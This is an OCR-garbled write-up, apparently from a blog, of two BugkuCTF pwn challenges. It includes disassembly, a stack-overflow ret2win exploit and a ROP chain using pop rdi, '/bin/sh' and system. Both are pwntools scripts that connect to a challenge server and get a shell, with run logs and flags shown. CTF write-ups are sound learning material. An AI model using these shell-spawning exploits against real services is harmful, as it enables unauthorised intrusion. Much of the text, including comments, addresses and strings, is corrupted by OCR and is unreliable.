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cat flag
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pwn2
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:~/BugkuCTF# file pwn2
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamica
Ly linked, interpreter /lib64/ld-1inux-x86-64.50.2, for GNU/Linux
2.6.32, BuildID[shal]=f34393d54019d46d0644bc841469bc31e9d9¢370, not
stripped

644 KIFE P

:~/BugkuCTF# checksec pwn2
[*] '/root/BugkuCTF/pwn2’
Arch: amde4-64-little
RELRO: Partial RELRO

Stack:
NX:
PIE:

RIWX: https:/fblog.csdn.net/qq_43935969
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IDA Vie- [ [ Pseudocod B [E Pseudocod [ [E Pseudocod [ [©] Hex Vie
1lint _ cdecl main(int argc, const char **argv, const char **envp)
21
3| char s; /f [rsp+0h] [rbp-36h]

il

5 memset(&s, @, 8x30ull);

6| setvbuf(stdout, @LL, 2, @LL);

7| setvbuf(stdin, @LL, 1, @LL); s[rbp-30h]

8| puts("say something?");

o read(@, &s, 0x1@0ull); —ee—————
10| puts(“oh,that’s so boring!"); . .« ®
11| return @;
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Address Length Type String
‘S'| LOAD: 000~ 0000001C ¢ /lib64/1d-11imux-x86-64. so. 2
‘s’ LOAD ;000 Q0000004 C likc. s0. 8
‘s’| LOAD : 000 00000005 C puts
‘s’ LOAD ;000 Q00Q000& C stdin
‘s’ LOAD 000 Q0000007 C memset
‘s’ LOAD ;000 Q0000005 C read
‘s’| LOAD : 000 00000007 C stdout
‘5’| LOAD : 000 Q0000007 C system
‘s’| LOAD : 000 00000008 C setvbuf
‘s’| LOAD : 000 Q0000012 C __libec_start_maln
‘_?] LOAD: Q00 Q000000F C __gmon_start_
s’ LOAD:000™ (0000000C C  GLIBC_2.2.5
‘s’ .rodata:- 0000000F C zay something?
E] .rodata:= 00000015 C oh, that’ s so horing!
‘s’ .rodata:- 00000010 C tgl "tgl Ttal Ttgl Ttogl Ttgl Ttgl
E] .rodata:= 00000013 C this is your flag!
‘s’ Lrodata:- 00000009 C cat ag
‘' L eh_frame- 00000006 C Exr

R 20 L R #

{ S ] I - Rl 5 H=]l ol =] US| CsSEU™" Ik L=] oL
1/int get_shell ()
2i{
3| puts("tgl~tgl~tql~tgl~tql~tgl~tql™);
4] puts("this is your flag!");
5/ return system("cat flag");
6

}




Xof B bk g 0x400751

x1:0000000000400751 ; _ unwind {

xt:00P0000000400751 push rbp

xt:0000000000400752 mov rbp, rsp

xt:0000000000400755 mov edi, offset aTqlTqlTqlTglTq ; “tgl~tgl~tgl~tgl~tgl~tgl~tgl"”
xt:000000000040075A call _puts

xt:000000000040075F mov edi, offset aThisIsYourFlag ; "this is vour flag!”
xt:0000000000400764 call _puts

xt:0000000000400769 mov edi, offset command ; "cat flag"
x1:000000000040076E call _system

xt:0000000000400773 nop

xt:0000000000400774 pop rbp

xt:0000000000400775 retn

xt:0000000000400775 ; } // starts at 400751

x1:0000000000400775 get shell endp

xt : 00000000A0400775
Xt :00000000004007T75 ; -~~~ -~~~

BEMRA L Sexp T :

#coding=utf-8

from pwn import *

p = remote('114.116.54.89"',10003)#TF2E R FIE H 415D
sys_addr = 0x400751#

p.recvuntil("?")#¥EZF|?

payload = 0x38*'a'+p64(sys_addr)
p.sendline(payload)#¥ &A1& IF Hpayloadki%kit =
p.interactive()

BITERWT

:~/BugkuCTF# python two.py
[+] Opening connection to 114.116.54.89 on port 10003:
[*] Switching to interactive mode

oh,that's so boring!

tgl-tql-tgl-tql-tgl-tql-tqgl

this is your flag!

flag{nOw yOu knOw the StackOverflOw}[*] Got EOF while reading in in
teractive ftps etiaq

)

[E: BEFEhAsystemE$, EAREHE, BASH, RINERSHEL4EANKget_shellm %]
pwn4

:~/BugkuCTF# file pwn4
pwn4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamica
lly linked, interpreter /1ib64/1d-1linux-x86-64.s0.2, for GNU/Linux
2.6.32, BuildID[shall=bd7fblel7f2354137208880d8d0d5d39a7e584dc, str
ipped

:~/BugkuCTF# checksec pwn4

[*] '/root/BugkuCTF/pwn4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack:

NX:
PIE:
RwWX:




X L HE A pwn 2K — B¢

TR %A Ibin/sh’ =74 &

:~/BugkuCTF# ROPgadget --binary pwn4 --string '/bin/sh'
Strings information

{H 2 systemek ¥
:~/BugkuCTF# objdump -R pwn4
pwn4 : X HE I elf64-x86-64

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE
0000000000600Ff8 R X86 64 GLOB DAT  gmon start
0000000000601370 R_X86_ 64 COPY stdout@eGLIBC 2.2.5
0000000000601380 R _X86 64 COPY stdin@eGLIBC 2.2.
0000000000601018 R_X86 64 JUMP SLOT puts@GLIBC 2.2.
0000000000601020 R_X86 64 JUMP SLOT system@GLIBC 2.
0000000000601028 R X86 64 JUMP SLOT memset@GLIBC 2.
0000000000601030 R X86 64 JUMP SLOT read@GLIBC 2.2.5
00000N0NON601038 R X86 64 JUMP SLOT  libc start main@GLIBC 2.2.5
0000000000601040 R_X86_64_JUMP_SLOT setvbuf@GLIBC 2.2.5

)
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E D4 view-4 [ElPseudocode-E B ([ElPseudocode—i [s] Stringe
| int64d _ fastcall main(__int64 al, char **a2, char **a3)

f -

char s; f/

memset (&=, @, Ox10ull);
setvbuf(stdout, @LL, 2, 6LL);
setvbuf(stdin, OLL, 1, OLL);

8| puts("Come on,try to pwn me");
9 read(®, & ,

18| puts("So~sad,you are fail");
11| return BLL;
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's’] .redata:= 00000016 [ Come on, try Lo pwn me

‘s’ .rodata:- 00000014 C S0 sad, you are fail

Eﬂ .rodata:- 000000ZE C ok"vou find me, but you can’t zet my shell
‘' L eh_frame- 00000006 C ek A

Eﬂ Ldata: 00 00000019 C ATasdhfR393HF+rv03053sd) F

‘s’ L data: . C

00oooo0T
00 22

= 0000000C
cdata:00- 00000016
Ldata:Q0- 00000013
cdata:00- 00000022
Ldata:Q0- 00000014
cdata:00- 00000015
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hhhhh, are wou finding the binsh?
sorry!nothing here!
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PEOPOOPERR6A1GEe 0O 0O 00 G0 00 00 PO 60 00 00 00 00 00 90 00 00 . ...............
000POVNBOR6A1GFe 0O 0O 0D GO 00 00 0O 00 00 00 00 00 00 PO 00 B0 . ...............

000000000601100 4985y9y ( )DY) *YFG
0000000601110 8yas@8d976508d7$

DP00P0000R601120 ELEE 73 61 64 61 44 53 20 2A 28 37 73 00 00 00 @.sadaDS&*(7s...
0000000000601130 00 00 B0 00 00 00 B0 B0 00 PO 0V VO B0 VO 08 00
0000000000601140 00 00 B0 00 00 00 B0 B0 00 PO 0V V0 00 VO 0B 00
0000000000601150 00 00 B0 00 00 00 B0 B0 00 PO 0V VO B0 VO 00 00

AACAFAMARACAAARAE AT 1 &R AR A (A A A A M (A AR A (A A A A A A

AT LLAOX6011007F # 43 /5 Hu %, WnT LAMOXGO 11224 BT $e, 2 W F55, M — 5T, WEAEZI'S0'#
hk 2 0x601122-0x3=0x60111f

FAGARL RS, RAE— S MsystemE L, BHRSHREEdiF, FrEl, RAIESHLE—Apop rdi
MGG BB E + pop rdi + S3 + systemitshit

XFE, pop rdifiE, BRATLAESERAdIF T, RJ5, systemBE iR E bk, get shell

expin T :

from pwn import *

p = remote('114.116.54.89',10004)
sys_addr = 0x400570

binsh_addr = 0x60111f

pop_rdi = 0x04007d3

p.recvuntil("Come on,try to pwn me")

payload = 0x18*'a'+p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)
p.sendline(payload)

p.interactive()

PATRR



:~/BugkuCTF# python f.py
[+] Opening connection to 114.116.54.89 on port 10004: Done
g [*] Switching to interactive mode

fSo~sad,you are fail

1ib32

1ib64
stack2

cat flag
flag{264bc50112318cd6ela67b0724d6d3af} I
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